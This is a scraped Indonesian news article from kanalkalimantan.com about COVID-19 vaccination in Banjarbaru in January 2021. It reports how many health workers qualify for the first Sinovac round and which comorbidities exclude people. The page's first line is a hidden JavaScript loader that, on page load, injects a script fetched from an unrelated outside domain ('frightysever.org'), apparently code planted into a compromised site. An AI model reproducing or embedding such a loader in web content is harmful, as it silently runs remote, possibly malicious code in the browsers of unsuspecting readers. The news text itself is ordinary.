(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Bertepatan dengan dimulainya pendistribusian vaksin ke sejumlah fasilitas kesehatan (Faskes), pelaksanaan vaksinasi di Kota Banjarbaru kini tinggal menunggu waktu.
Sesuai rencana, tenaga kesehatan (Nakes);menjadi kelompok pertama yang akan disuntik vaksin Covid-19 jenis Sinovac. Meski begitu, tak semua Nakes di Banjarbaru yang memenuhi syarat untuk penyuntikan vaksin tahap pertama itu.
Fakta tersebut dikemukakan Kepala Dinas Kesehatan (Dinkes) Banjarbaru, Rizana Mirza. Dari total 2.339 tenaga kesehatan yang terdata, hanya 1.953 orang saja yang dapat mengikuti penyuntikan vaksin asal China itu.
“Jadi ada 386 tenaga kesehatan di Banjarbaru yang tidak mengikuti vaksinasi tahap pertama. Karena terkendala komorbid. Lalu ada juga dari mereka yang pernah dinyatakan terkonfimasi Covid-19,” bebernya, Rabu (13/1/2021) siang.
Ya, hal ini sesuai dengan petunjuk teknis yang diterbitkan Kementrian Kesehatan (Kemenkes) ihwal kondisi seseorang untuk bisa menerima vaksin Covid-19 buatan Sinovac. Salah satunya menyebutkan bahwa seseorang yang pernah dinyatakan terkonfirmasi Covid-19 (penyintas), tidak boleh menerima vaksin Covid-19 buatan Sinovac.
Lalu, orang dengan komorbid (penyakit penyerta) tertentu juga tidak diperbolehkan menerima vaksin tersebut. Komorbid dimaksud, adalah penyakit jantung, penyakit autoimun (lupus, sjogren, vasculitis), penyakit ginjal, reumatik autoimun, penyakit saluran pencernaan kronis, penyakit hipertiroid, penyakit kanker, kelainan darah, defisiensi imun, dan penerima transfuse, serta mereka yang tengah menjalani terapi jangka panjang terhadap penyakit kelainan darah.
Lantas, bagaimama dengan nasib ratusan tenaga kesehatan yang tidak bisa mengikuti vaksinasi tahap pertama? Dalam hal ini, Rizana menerangkan bahwa mereka dapat mengikuti tahap selanjutnya. “Ya, mereka menyusul untuk disuntik vaksin. Mungkin vaksin dengan jenis lain,” tandasnya.
Perlu diketahui sebelum tenaga kesehatan, Wakil Wali Kota Banjarbaru Darmawan Jaya Setiawan lebih duku menjadi orang pertama yang akan disuntik vaksin Sinovac. Rencananya, pimpinan tertinggi di Kota Idaman itu akan disuntik vaksin beberapa hari ke depan.
“Ya, setelah bapak Presiden yang disuntik vaksin hari ini maka seluruh kepala daerah wajib mengikuti, tak terkecuali pak Wakil Wali Kota Banjarbaru. Insyaallah, rencananya pak Wakil akan disuntik vaksin pada Kamis besok atau Jumat,” sebutnya Rizana. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.